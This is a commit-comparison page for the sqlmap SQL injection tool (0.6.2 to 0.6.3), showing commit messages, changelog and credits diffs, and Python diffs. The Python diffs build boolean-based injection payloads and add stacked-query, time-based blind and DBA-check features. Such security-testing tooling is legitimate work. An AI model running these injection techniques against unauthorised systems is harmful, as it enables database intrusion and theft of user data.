Compare commits

...

67 Commits
0.6.2 ... 0.6.3

Author SHA1 Message Date
Bernardo Damele
68354be45a Ahead with enhancements on comparison algorithm: implemented content-length technique 2008-12-18 22:49:35 +00:00
Bernardo Damele
afbd66f6d9 Added some comments 2008-12-18 21:58:05 +00:00
Bernardo Damele
d0d6632c22 Initial support to automatically work around the dynamic page at each refresh
(Major refactor to the comparison algorithm (True/False response))
2008-12-18 20:48:23 +00:00
Bernardo Damele
3fe493b63d Minor enhancement to support an option (--is-dba) to show if the
current user is a database management system administrator.
2008-12-18 20:41:11 +00:00
Bernardo Damele
c32ef9d751 Major bug fix to avoid tracebacks when multiple targets are specified and one
of them is not reachable.
Minor bug fix to make the --postfix work even if --prefix is not provided.
2008-12-18 20:38:57 +00:00
Bernardo Damele
2efb3ae2ba Documentation updated, now ready for 0.6.3 release 2008-12-17 23:26:14 +00:00
Bernardo Damele
6dec56d616 Major bug fix 2008-12-17 21:35:04 +00:00
Bernardo Damele
bb9079aa9d Minor documentation adjustments 2008-12-17 20:58:19 +00:00
Bernardo Damele
94c79e3209 Updated documentation 2008-12-17 20:17:34 +00:00
Bernardo Damele
dda62ba463 Minor adjustments and bug fixes 2008-12-17 20:11:18 +00:00
Bernardo Damele
7b55840b35 cleanup configuration INI file 2008-12-17 00:22:27 +00:00
Bernardo Damele
ec11f502df Site and documentation updated, ready to release 0.6.3 in two days 2008-12-17 00:19:01 +00:00
Bernardo Damele
36d9ede001 Updated documentation, ready for sqlmap 0.6.3 release 2008-12-16 23:52:16 +00:00
Bernardo Damele
b7f2602b50 A bit more entropy in the sql injection detection 2008-12-16 23:51:56 +00:00
Bernardo Damele
2b0ec1868d Updated documentation 2008-12-16 21:31:15 +00:00
Bernardo Damele
4156181367 Minor fix 2008-12-16 21:31:01 +00:00
Bernardo Damele
05a8c8d3bf Added support to test for stacked queries support and improved check for time based blind sql injection.
Minor bug fix in --save option
2008-12-16 21:30:24 +00:00
Bernardo Damele
bf2a857b9a Minor adjustments and minor bug fixes. Documentation almost complete for sqlmap 0.6.3. 2008-12-12 19:06:31 +00:00
Bernardo Damele
072eb7154c Major enhancement to support Partial UNION query SQL injection technique too.
Minor code cleanup.
2008-12-10 17:23:07 +00:00
Bernardo Damele
9dbad512f1 sqlmap 0.6.3-rc4: minor enhancement to be able to specify extra HTTP headers
by providing option --headers. By default Accept, Accept-Language and
Accept-Charset headers are set.
Added support to get the injection payload prefix and postfix from user.
Minor bug fix to exclude image files when parsing (-l) proxies log files.
Minor code adjustments.
Updated documentation.
2008-12-08 21:24:24 +00:00
Bernardo Damele
15542d2772 Minor layout adjustment 2008-12-05 16:00:18 +00:00
Bernardo Damele
38c9627700 Minor enhancemet to support also --regexp, --excl-str and --excl-reg
options rather than only --string when comparing HTTP responses page
content
2008-12-05 15:34:13 +00:00
Bernardo Damele
78e8a83c11 Minor improvement to be able to provide CU as user value (-U) when enumerating
users privileges or users passwords.
2008-12-05 15:32:59 +00:00
Bernardo Damele
7f055924a7 sqlmap 0.6.3-rc4:
Minor enhancement to be able to specify the number of seconds before
timeout the connection, default is set to 10 seconds.
Minor improvement to retry the HTTP request up to three times in case
an exception is raised during the connection to the target url.
Minor bug fix to correctly catch connection exceptions and notify to
the user also if they occur within a thread.
Minor code restyling.
Updated documentation.
2008-12-04 17:40:03 +00:00
Bernardo Damele
0f07e33e1a Removed REVISION, makes no sense.
Import and use python psyco library to speed up if it's installed: it's optional.
2008-12-03 17:32:16 +00:00
Bernardo Damele
e3ddbe751f Minor code refactoring 2008-12-02 23:49:38 +00:00
Bernardo Damele
4cb161ce4f Minor signatures adjustments 2008-12-02 23:48:07 +00:00
Bernardo Damele
b700485a1b Minor adjustment, still to work on the cookie urlencoding/decoding 2008-12-02 21:57:12 +00:00
Bernardo Damele
578bcb9140 Initial support for partial UNION query sql injection 2008-12-02 21:56:23 +00:00
Bernardo Damele
f97585c593 Show also SVN revision in error message when a traceback raises.
Fix typo.
2008-12-01 23:49:14 +00:00
Bernardo Damele
e75487a26c Reverted last commit, cleaner this way 2008-12-01 23:33:15 +00:00
Bernardo Damele
e2a805ef6a Minor workaround because of latest bug fix 2008-12-01 23:32:14 +00:00
Bernardo Damele
a777f1ca35 Minor bug fix 2008-12-01 23:27:51 +00:00
Bernardo Damele
034a3f387a Minor improvement when testing for UNION query SQL injection to check only without comment and with DBMS specific comment (not anymore "random" unspecific comment characters) 2008-12-01 23:09:07 +00:00
Bernardo Damele
3cf1658532 Increased default output level from 0 to 1 2008-12-01 23:07:41 +00:00
Bernardo Damele
428612b431 Comment and layout adjustments 2008-12-01 23:04:01 +00:00
Bernardo Damele
beea58f2e9 Updated MySQL versions 2008-12-01 23:02:52 +00:00
Bernardo Damele
e967b13378 Minor adjustment to command line usage message 2008-11-27 23:06:02 +00:00
Bernardo Damele
6e548eb2ec Completed support to get the list of targets from WebScarab/Burp proxies
log file and updated the documentation
2008-11-27 22:33:33 +00:00
Bernardo Damele
785352d700 Minor adjustments to signatures 2008-11-27 22:31:43 +00:00
Bernardo Damele
dc1f2deb74 Minor bug fix to correctly enumerate columns on Microsoft SQL Server.
Minor adjustments to XML signatures.
Updated documentation.
2008-11-25 11:33:44 +00:00
Bernardo Damele
f2737ad0a3 Updated work on multiple targets support (works for WebScarab conversations/ folder, still to work out for Burp log file).
Major bug fix in the controller library.
2008-11-22 01:57:22 +00:00
Bernardo Damele
9be844cf3e Adapted the code to support a list of targets from a text file (Burp log file) or from a directory (WebScarab conversations folder) with command line option -l. 2008-11-20 17:56:09 +00:00
Bernardo Damele
80425c9ccd Minor adjustment to ETA feature 2008-11-20 11:13:04 +00:00
Bernardo Damele
8f74fe2ce9 Added new HTTP response headers on which fingerprint web app technology and web server OS.
Updated documentation.
2008-11-19 15:33:39 +00:00
Bernardo Damele
736b2e7323 Minor adjustments to the operating system fingerprint. 2008-11-19 00:36:44 +00:00
Bernardo Damele
727664aea7 Minor enhancement to fingerprint the web server operating system and
the web application technology by parsing also HTTP response Server
header.
Refactor libraries and plugins that parses XML to fingerprint and show
on standard output the information.
Updated changelog.
2008-11-18 17:42:46 +00:00
Bernardo Damele
7d0724843f Major enhancement to the engine to parse XML files and matches on DBMS banner
and HTTP response headers.
Initial web application technology fingerprint (for the moment based only on
X-Powered-By HTTP response header and not shown yet to the user).
Minor layout adjustments.
2008-11-17 17:41:02 +00:00
Bernardo Damele
66fb3c3033 Minor enhancement to show the DBMS operating system (if fingerprinted)
also when only -b option is provided since it's an information that
sqlmap get parsing the DBMS banner.
Got rid completely of useless passive fuzzing.
2008-11-17 11:22:03 +00:00
Bernardo Damele
7d7170fc97 Minor code adjustments 2008-11-17 00:13:49 +00:00
Bernardo Damele
654aecedfe Minor layout adjustments, minor fixes and updated changelog 2008-11-17 00:00:54 +00:00
Bernardo Damele
fa0507ab39 Minor enhancement to fingerprint the back-end DBMS operating system (type,
version, release, distribution, codename and service pack) by parsing the
DBMS banner value when both -f and -b are provided: adapted the code and
added XML files defining regular expressions for matching.

Example of the -f -b output now on MySQL 5.0.67 running on latest Ubuntu:
--8<--
back-end DBMS:	active fingerprint: MySQL >= 5.0.38 and < 5.1.2
                comment injection fingerprint: MySQL 5.0.67
                banner parsing fingerprint: MySQL 5.0.67
                html error message fingerprint: MySQL
back-end DBMS operating system: Linux Ubuntu 8.10 (Intrepid)
--8<--
2008-11-15 23:41:31 +00:00
Bernardo Damele
84cbc60659 Major bug fix to correctly handle httplib.BadStatusLine exception.
Minor improvement to set by default in all HTTP requests the standard HTTP headers (Accept, Accept-Encoding, etc.)
Updated user's manual.
2008-11-15 12:25:19 +00:00
Bernardo Damele
4bf1fcb8ec Minor layout adjustment 2008-11-15 01:10:29 +00:00
Bernardo Damele
0bd5b52d95 Minor fixes 2008-11-13 00:03:04 +00:00
Bernardo Damele
ecc4a98071 Properly moved and improved inject.goStacked() function and newly
implemented Time based blind SQL injection now is a single test file
within the lib/techniques/ folder.
Renamed lib/techniques/inference to lib/techniques/blind, it is more
approriate and adapted the rest of the libraries.
Updated ChangeLog file.
2008-11-12 23:44:09 +00:00
Bernardo Damele
9329f8c9c4 Minor enhancement to be able to enumerate table columns and dump table
entries also if the database name is not provided by using the current
database on MySQL and MSSQL, the 'public' scheme on PostgreSQL and the
'USERS' TABLESPACE_NAME on Oracle.
Minor bug fix so that when the user provide as SELECT statement to be
processed an asterisk, now it also work if in the FROM there is no
database name specified.
Minor layout adjustments.
2008-11-12 22:53:25 +00:00
Bernardo Damele
81ed7c2086 Initial implementation of support for stacked queries.
Added method to test for Time based blind SQL injection query stacking
on the affected parameter a SLEEP() or similar DBMS specific function.
Adapted libraries, plugins and XML with the above changes.
Minor layout adjustments.
2008-11-12 00:36:50 +00:00
Bernardo Damele
13f76cfe3b Adjusted unhandled exception error message 2008-11-11 14:08:40 +00:00
Bernardo Damele
e1385eb2bf Removed useless W3C reference for CSS/HTML validation 2008-11-09 19:00:54 +00:00
Bernardo Damele
0c5d3df546 sqlmap 0.6.3-rc1:
* Minor enhancement to be able to specify the number of seconds to wait between each HTTP request.
* Minor bug fix to handle session.error and session.timeout in HTTP requests.
* Updated documentation.
2008-11-09 16:57:47 +00:00
Bernardo Damele
544ced52b5 Name adjustment 2008-11-04 19:56:07 +00:00
Bernardo Damele
2a01de3f0b Minor bug fix to correctly dump table entries when the column is provided 2008-11-04 19:54:44 +00:00
Bernardo Damele
be599d5a33 Updated documentation and minor fix in update functionality 2008-11-04 16:33:13 +00:00
Bernardo Damele
359b28bbaf Updated documentation 2008-11-04 16:09:12 +00:00
Bernardo Damele
0f79ec0088 Minor bug fix in MySQL comment injection fingerprint technique 2008-11-04 16:05:43 +00:00
Bernardo Damele
278f0aad7c Documentation updated 2008-11-03 01:23:55 +00:00
64 changed files with 6766 additions and 2598 deletions

View File

@@ -1,3 +1,72 @@
sqlmap (0.6.4-1) stable; urgency=low
* Minor enhancement to support an option (--is-dba) to show if the
current user is a database management system administrator;
* Major bug fix to avoid tracebacks when multiple targets are specified
and one of them is not reachable;
* Minor bug fix to make the --postfix work even if --prefix is not
provided;
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Day, DD MMM 2009 10:00:00 +0000
sqlmap (0.6.3-1) stable; urgency=low
* Major enhancement to get list of targets to test from Burp proxy
(http://portswigger.net/suite/) requests log file path or WebScarab
proxy (http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project)
'conversations/' folder path by providing option -l <filepath>;
* Major enhancement to support Partial UNION query SQL injection
technique too;
* Major enhancement to test if the web application technology supports
stacked queries (multiple statements) by providing option
--stacked-test which will be then used someday also by takeover
functionality;
* Major enhancement to test if the injectable parameter is affected by
a time based blind SQL injection technique by providing option
--time-test;
* Minor enhancement to fingerprint the web server operating system and
the web application technology by parsing some HTTP response headers;
* Minor enhancement to fingerprint the back-end DBMS operating system by
parsing the DBMS banner value when -b option is provided;
* Minor enhancement to be able to specify the number of seconds before
timeout the connection by providing option --timeout #, default is set
to 10 seconds and must be 3 or higher;
* Minor enhancement to be able to specify the number of seconds to wait
between each HTTP request by providing option --delay #;
* Minor enhancement to be able to get the injection payload --prefix and
--postfix from user;
* Minor enhancement to be able to enumerate table columns and dump table
entries, also when the database name is not provided, by using the
current database on MySQL and Microsoft SQL Server, the 'public'
scheme on PostgreSQL and the 'USERS' TABLESPACE_NAME on Oracle;
* Minor enhancemet to support also --regexp, --excl-str and --excl-reg
options rather than only --string when comparing HTTP responses page
content;
* Minor enhancement to be able to specify extra HTTP headers by providing
option --headers. By default Accept, Accept-Language and Accept-Charset
headers are set;
* Minor improvement to be able to provide CU (as current user) as user
value (-U) when enumerating users privileges or users passwords;
* Minor improvements to sqlmap Debian package files;
* Minor improvement to use Python psyco (http://psyco.sourceforge.net/)
library if available to speed up the sqlmap algorithmic operations;
* Minor improvement to retry the HTTP request up to three times in case
an exception is raised during the connection to the target url;
* Major bug fix to correctly enumerate columns on Microsoft SQL Server;
* Major bug fix so that when the user provide a SELECT statement to be
processed with an asterisk as columns, now it also work if in the FROM
there is no database name specified;
* Minor bug fix to correctly dump table entries when the column is
provided;
* Minor bug fix to correctly handle session.error, session.timeout and
httplib.BadStatusLine exceptions in HTTP requests;
* Minor bug fix to correctly catch connection exceptions and notify to
the user also if they occur within a thread;
* Increased default output level from 0 to 1;
* Updated documentation.
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Thu, 18 Dec 2008 10:00:00 +0000
sqlmap (0.6.2-1) stable; urgency=low sqlmap (0.6.2-1) stable; urgency=low
* Major bug fix to correctly dump tables entries when --stop is not * Major bug fix to correctly dump tables entries when --stop is not
@@ -12,6 +81,7 @@ sqlmap (0.6.2-1) stable; urgency=low
variable) is an integer and, for some reasons, its resumed value from variable) is an integer and, for some reasons, its resumed value from
the session file is a string or a binary file, the query is executed the session file is a string or a binary file, the query is executed
again and its new output saved to the session file; again and its new output saved to the session file;
* Minor bug fix in MySQL comment injection fingerprint technique;
* Minor improvement to correctly enumerate tables, columns and dump * Minor improvement to correctly enumerate tables, columns and dump
tables entries on Oracle and on PostgreSQL when the database name is tables entries on Oracle and on PostgreSQL when the database name is
not 'public' schema or a system database; not 'public' schema or a system database;
@@ -19,11 +89,10 @@ sqlmap (0.6.2-1) stable; urgency=low
database name, table name and column(s) are provided; database name, table name and column(s) are provided;
* Updated the database management system fingerprint checks to correctly * Updated the database management system fingerprint checks to correctly
identify MySQL 5.1.x, MySQL 6.0.x and PostgreSQL 8.3; identify MySQL 5.1.x, MySQL 6.0.x and PostgreSQL 8.3;
* More user-friendly warnin messages. * More user-friendly warning messages.
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Sun, 2 Nov 2008 19:00:00 +0000 -- Bernardo Damele A. G. <bernardo.damele@gmail.com> Sun, 2 Nov 2008 19:00:00 +0000
sqlmap (0.6.1-1) stable; urgency=low sqlmap (0.6.1-1) stable; urgency=low
* Major bug fix to blind SQL injection bisection algorithm to handle an * Major bug fix to blind SQL injection bisection algorithm to handle an
@@ -45,7 +114,6 @@ sqlmap (0.6.1-1) stable; urgency=low
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Fri, 20 Oct 2008 10:00:00 +0000 -- Bernardo Damele A. G. <bernardo.damele@gmail.com> Fri, 20 Oct 2008 10:00:00 +0000
sqlmap (0.6-1) stable; urgency=low sqlmap (0.6-1) stable; urgency=low
* Complete code refactor and many bugs fixed; * Complete code refactor and many bugs fixed;
@@ -111,7 +179,6 @@ sqlmap (0.6-1) stable; urgency=low
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Mon, 1 Sep 2008 10:00:00 +0100 -- Bernardo Damele A. G. <bernardo.damele@gmail.com> Mon, 1 Sep 2008 10:00:00 +0100
sqlmap (0.5-1) stable; urgency=low sqlmap (0.5-1) stable; urgency=low
* Added support for Oracle database management system * Added support for Oracle database management system
@@ -159,7 +226,6 @@ sqlmap (0.5-1) stable; urgency=low
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Sun, 4 Nov 2007 20:00:00 +0100 -- Bernardo Damele A. G. <bernardo.damele@gmail.com> Sun, 4 Nov 2007 20:00:00 +0100
sqlmap (0.4-1) stable; urgency=low sqlmap (0.4-1) stable; urgency=low
* Added DBMS fingerprint based also upon HTML error messages parsing * Added DBMS fingerprint based also upon HTML error messages parsing
@@ -188,14 +254,14 @@ sqlmap (0.4-1) stable; urgency=low
the remote DBMS; the remote DBMS;
* Major improvements in union.UnionCheck() and union.UnionUse() * Major improvements in union.UnionCheck() and union.UnionUse()
functions to make it possible to exploit inband SQL injection also functions to make it possible to exploit inband SQL injection also
with database comment characters ('--' and '#') in UNION SELECT with database comment characters ('--' and '#') in UNION query
statements; statements;
* Added the possibility to save the output into a file while performing * Added the possibility to save the output into a file while performing
the queries (-o OUTPUTFILE) so it is possible to stop and resume the the queries (-o OUTPUTFILE) so it is possible to stop and resume the
same query output retrieving in a second time (--resume); same query output retrieving in a second time (--resume);
* Added support to specify the database table column to enumerate * Added support to specify the database table column to enumerate
(-C COL); (-C COL);
* Added inband SQL injection (UNION SELECT) support (--union-use); * Added inband SQL injection (UNION query) support (--union-use);
* Complete code refactoring, a lot of minor and some major fixes in * Complete code refactoring, a lot of minor and some major fixes in
libraries, many minor improvements; libraries, many minor improvements;
* Reviewed the directory tree structure; * Reviewed the directory tree structure;
@@ -205,7 +271,6 @@ sqlmap (0.4-1) stable; urgency=low
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Fri, 15 Jun 2007 20:00:00 +0100 -- Bernardo Damele A. G. <bernardo.damele@gmail.com> Fri, 15 Jun 2007 20:00:00 +0100
sqlmap (0.3-1) stable; urgency=low sqlmap (0.3-1) stable; urgency=low
* Added module for MS SQL Server; * Added module for MS SQL Server;
@@ -226,7 +291,6 @@ sqlmap (0.3-1) stable; urgency=low
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Sat, 20 Jan 2007 20:00:00 +0100 -- Bernardo Damele A. G. <bernardo.damele@gmail.com> Sat, 20 Jan 2007 20:00:00 +0100
sqlmap (0.2-1) stable; urgency=low sqlmap (0.2-1) stable; urgency=low
* complete refactor of entire program; * complete refactor of entire program;

File diff suppressed because it is too large Load Diff

Binary file not shown.

File diff suppressed because it is too large Load Diff

View File

@@ -5,16 +5,26 @@ Chip Andrews <chip@sqlsecurity.com>
at SQLSecurity.com and permission to implement the update feature at SQLSecurity.com and permission to implement the update feature
taking data from his site taking data from his site
Jack Butler <fattredd@hotmail.com>
for providing me with the sqlmap site favicon
Karl Chen <quarl@cs.berkeley.edu> Karl Chen <quarl@cs.berkeley.edu>
for providing with the multithreading patch for the inference for providing with the multithreading patch for the inference
algorithm algorithm
Pierre Chifflier <pollux@debian.org>
for uploading the sqlmap 0.6.2 Debian package to the official Debian
project repository
Stefano Di Paola <stefano.dipaola@wisec.it> Stefano Di Paola <stefano.dipaola@wisec.it>
for suggesting good features for suggesting good features
Adam Faheem <faheem.adam@is.co.za> Adam Faheem <faheem.adam@is.co.za>
for reporting a few bugs for reporting a few bugs
Jim Forster <jimforster@goldenwest.com>
for reporting a bug
Rong-En Fan <rafan@freebsd.org> Rong-En Fan <rafan@freebsd.org>
for commiting the sqlmap 0.5 port to the official FreeBSD project for commiting the sqlmap 0.5 port to the official FreeBSD project
repository repository
@@ -26,6 +36,7 @@ Giorgio Fedon <giorgio.fedon@gmail.com>
Ivan Giacomelli <truemilk@insiberia.net> Ivan Giacomelli <truemilk@insiberia.net>
for reporting a bug for reporting a bug
for suggesting a minor enhancement for suggesting a minor enhancement
for reviewing the documentation
Davide Guerri <d.guerri@caspur.it> Davide Guerri <d.guerri@caspur.it>
for suggesting an enhancement for suggesting an enhancement
@@ -44,6 +55,12 @@ Will Holcomb <wholcomb@gmail.com>
Luke Jahnke <luke.jahnke@gmail.com> Luke Jahnke <luke.jahnke@gmail.com>
for reporting a bug when running against MySQL < 5.0 for reporting a bug when running against MySQL < 5.0
Anant Kochhar <anant.kochhar@secureyes.net>
for providing me with feedback on the user's manual
Nico Leidecker <nico@leidecker.info>
for providing me with feedback on a few features
Pavol Luptak <pavol.luptak@nethemba.com> Pavol Luptak <pavol.luptak@nethemba.com>
for reporting a bug when injecting on a POST data parameter for reporting a bug when injecting on a POST data parameter
@@ -52,6 +69,10 @@ Michael Majchrowicz <mmajchrowicz@gmail.com>
for providing really appreciated feedback for providing really appreciated feedback
for suggesting a lot of ideas and features for suggesting a lot of ideas and features
Ferruh Mavituna <ferruh@mavituna.com>
for providing me with ideas on the implementation on a couple of
new features
Enrico Milanese <enricomilanese@gmail.com> Enrico Milanese <enricomilanese@gmail.com>
for reporting a bugs when using (-a) a single line User-Agent file for reporting a bugs when using (-a) a single line User-Agent file
for providing me with some ideas for the PHP backdoor for providing me with some ideas for the PHP backdoor
@@ -88,12 +109,24 @@ Richard Safran <allapplyhere@yahoo.com>
Tomoyuki Sakurai <cherry@trombik.org> Tomoyuki Sakurai <cherry@trombik.org>
for submitting to the FreeBSD project the sqlmap 0.5 port for submitting to the FreeBSD project the sqlmap 0.5 port
Philippe A. R. Schaeffer <schaeff@compuphil.de>
for reporting a minor bug
Sven Schluter <sschlueter@netzwerk.cc>
for providing with a patch for waiting a number of seconds between
each HTTP request
M Simkin <mlsimkin@cox.net> M Simkin <mlsimkin@cox.net>
for suggesting a feature for suggesting a feature
Jason Swan <jasoneswan@gmail.com>
for reporting a bug when enumerating columns on Microsoft SQL Server
for suggesting a couple of improvements
Alessandro Tanasi <alessandro@tanasi.it> Alessandro Tanasi <alessandro@tanasi.it>
for extensively beta-testing sqlmap for extensively beta-testing sqlmap
for suggesting many features and reporting some bugs for suggesting many features and reporting some bugs
for reviewing the documentation
Efrain Torres <et@metasploit.com> Efrain Torres <et@metasploit.com>
for helping me out to improve the Metasploit Framework 3 sqlmap for helping me out to improve the Metasploit Framework 3 sqlmap
@@ -110,6 +143,9 @@ Bedirhan Urgun <bedirhanurgun@gmail.com>
for benchmarking sqlmap in the context of his SQL injection for benchmarking sqlmap in the context of his SQL injection
benchmark project, OWASP SQLiBench, http://code.google.com/p/sqlibench benchmark project, OWASP SQLiBench, http://code.google.com/p/sqlibench
Kyprianos Vassilopoulos <kyprianos.vasilopoulos@gmail.com>
for reporting an unhandled connection exception
fufuh <fufuh@users.sourceforge.net> fufuh <fufuh@users.sourceforge.net>
for reporting a bug when running on Windows for reporting a bug when running on Windows

View File

@@ -2,10 +2,9 @@ To use Metasploit's sqlmap auxiliary module launch msfconsole and follow
the example below. the example below.
Note that if you are willing to run Metasploit's sqlmap auxiliary module on Note that if you are willing to run Metasploit's sqlmap auxiliary module on
Metasploit Framework 3.0 or 3.1 you first need to copy wmap_sqlmap.rb to through WMAP framework you first need to install sqlmap on your system or
your <msf3 root path>/modules/auxiliary/scanner/http/ folder then launch add its file system path to the PATH environment variable.
msfconsole because this module has been officially integrated in Metasploit
from the release 3.2.
$ ./msfconsole $ ./msfconsole

View File

@@ -31,7 +31,9 @@ from lib.core.data import kb
from lib.core.dump import dumper from lib.core.dump import dumper
from lib.core.exception import sqlmapUnsupportedDBMSException from lib.core.exception import sqlmapUnsupportedDBMSException
from lib.core.settings import SUPPORTED_DBMS from lib.core.settings import SUPPORTED_DBMS
from lib.techniques.blind.timebased import timeTest
from lib.techniques.inband.union.test import unionTest from lib.techniques.inband.union.test import unionTest
from lib.techniques.outband.stacked import stackedTest
def action(): def action():
@@ -66,9 +68,15 @@ def action():
raise sqlmapUnsupportedDBMSException, errMsg raise sqlmapUnsupportedDBMSException, errMsg
print "back-end DBMS:\t%s\n" % conf.dbmsHandler.getFingerprint() print "%s\n" % conf.dbmsHandler.getFingerprint()
# Techniques options
if conf.stackedTest:
dumper.string("stacked queries support", stackedTest())
if conf.timeTest:
dumper.string("time based blind sql injection payload", timeTest())
# Miscellaneous options
if conf.unionTest: if conf.unionTest:
dumper.string("valid union", unionTest()) dumper.string("valid union", unionTest())
@@ -82,6 +90,9 @@ def action():
if conf.getCurrentDb: if conf.getCurrentDb:
dumper.string("current database", conf.dbmsHandler.getCurrentDb()) dumper.string("current database", conf.dbmsHandler.getCurrentDb())
if conf.isDba:
dumper.string("current user is DBA", conf.dbmsHandler.isDba())
if conf.getUsers: if conf.getUsers:
dumper.lister("database management system users", conf.dbmsHandler.getUsers()) dumper.lister("database management system users", conf.dbmsHandler.getUsers())

View File

@@ -24,6 +24,7 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import re
import time import time
from lib.controller.action import action from lib.controller.action import action
@@ -35,6 +36,7 @@ from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
from lib.core.exception import sqlmapConnectionException from lib.core.exception import sqlmapConnectionException
from lib.core.session import setString from lib.core.session import setString
from lib.core.session import setRegexp
from lib.request.connect import Connect as Request from lib.request.connect import Connect as Request
@@ -49,13 +51,49 @@ def checkSqlInjection(place, parameter, value, parenthesis):
* Double quoted string injection * Double quoted string injection
""" """
logMsg = "testing unescaped numeric injection "
logMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(logMsg)
randInt = randomInt() randInt = randomInt()
randStr = randomStr() randStr = randomStr()
if conf.prefix or conf.postfix:
prefix = ""
postfix = ""
if conf.prefix:
prefix = conf.prefix
if conf.postfix:
postfix = conf.postfix
infoMsg = "testing custom injection "
infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg)
payload = agent.payload(place, parameter, value, "%s%s%s AND %s%d=%d %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randInt, randInt, postfix))
trueResult = Request.queryPage(payload, place)
if trueResult == kb.defaultResult:
payload = agent.payload(place, parameter, value, "%s%s%s AND %s%d=%d %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randInt, randInt + 1, postfix))
falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult:
infoMsg = "confirming custom injection "
infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg)
payload = agent.payload(place, parameter, value, "%s%s%s AND %s%s %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randStr, postfix))
falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult:
infoMsg = "%s parameter '%s' is " % (place, parameter)
infoMsg += "custom injectable "
logger.info(infoMsg)
return "custom"
infoMsg = "testing unescaped numeric injection "
infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg)
payload = agent.payload(place, parameter, value, "%s%s AND %s%d=%d" % (value, ")" * parenthesis, "(" * parenthesis, randInt, randInt)) payload = agent.payload(place, parameter, value, "%s%s AND %s%d=%d" % (value, ")" * parenthesis, "(" * parenthesis, randInt, randInt))
trueResult = Request.queryPage(payload, place) trueResult = Request.queryPage(payload, place)
@@ -64,148 +102,148 @@ def checkSqlInjection(place, parameter, value, parenthesis):
falseResult = Request.queryPage(payload, place) falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult: if falseResult != kb.defaultResult:
logMsg = "confirming unescaped numeric injection " infoMsg = "confirming unescaped numeric injection "
logMsg += "on %s parameter '%s'" % (place, parameter) infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(logMsg) logger.info(infoMsg)
payload = agent.payload(place, parameter, value, "%s%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr)) payload = agent.payload(place, parameter, value, "%s%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
falseResult = Request.queryPage(payload, place) falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult: if falseResult != kb.defaultResult:
logMsg = "%s parameter '%s' is " % (place, parameter) infoMsg = "%s parameter '%s' is " % (place, parameter)
logMsg += "unescaped numeric injectable " infoMsg += "unescaped numeric injectable "
logMsg += "with %d parenthesis" % parenthesis infoMsg += "with %d parenthesis" % parenthesis
logger.info(logMsg) logger.info(infoMsg)
return "numeric" return "numeric"
logMsg = "%s parameter '%s' is not " % (place, parameter) infoMsg = "%s parameter '%s' is not " % (place, parameter)
logMsg += "unescaped numeric injectable" infoMsg += "unescaped numeric injectable"
logger.info(logMsg) logger.info(infoMsg)
logMsg = "testing single quoted string injection " infoMsg = "testing single quoted string injection "
logMsg += "on %s parameter '%s'" % (place, parameter) infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(logMsg) logger.info(infoMsg)
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr)) payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
trueResult = Request.queryPage(payload, place) trueResult = Request.queryPage(payload, place)
if trueResult == kb.defaultResult: if trueResult == kb.defaultResult:
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + 'A')) payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
falseResult = Request.queryPage(payload, place) falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult: if falseResult != kb.defaultResult:
logMsg = "confirming single quoted string injection " infoMsg = "confirming single quoted string injection "
logMsg += "on %s parameter '%s'" % (place, parameter) infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(logMsg) logger.info(infoMsg)
payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr)) payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
falseResult = Request.queryPage(payload, place) falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult: if falseResult != kb.defaultResult:
logMsg = "%s parameter '%s' is " % (place, parameter) infoMsg = "%s parameter '%s' is " % (place, parameter)
logMsg += "single quoted string injectable " infoMsg += "single quoted string injectable "
logMsg += "with %d parenthesis" % parenthesis infoMsg += "with %d parenthesis" % parenthesis
logger.info(logMsg) logger.info(infoMsg)
return "stringsingle" return "stringsingle"
logMsg = "%s parameter '%s' is not " % (place, parameter) infoMsg = "%s parameter '%s' is not " % (place, parameter)
logMsg += "single quoted string injectable" infoMsg += "single quoted string injectable"
logger.info(logMsg) logger.info(infoMsg)
logMsg = "testing LIKE single quoted string injection " infoMsg = "testing LIKE single quoted string injection "
logMsg += "on %s parameter '%s'" % (place, parameter) infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(logMsg) logger.info(infoMsg)
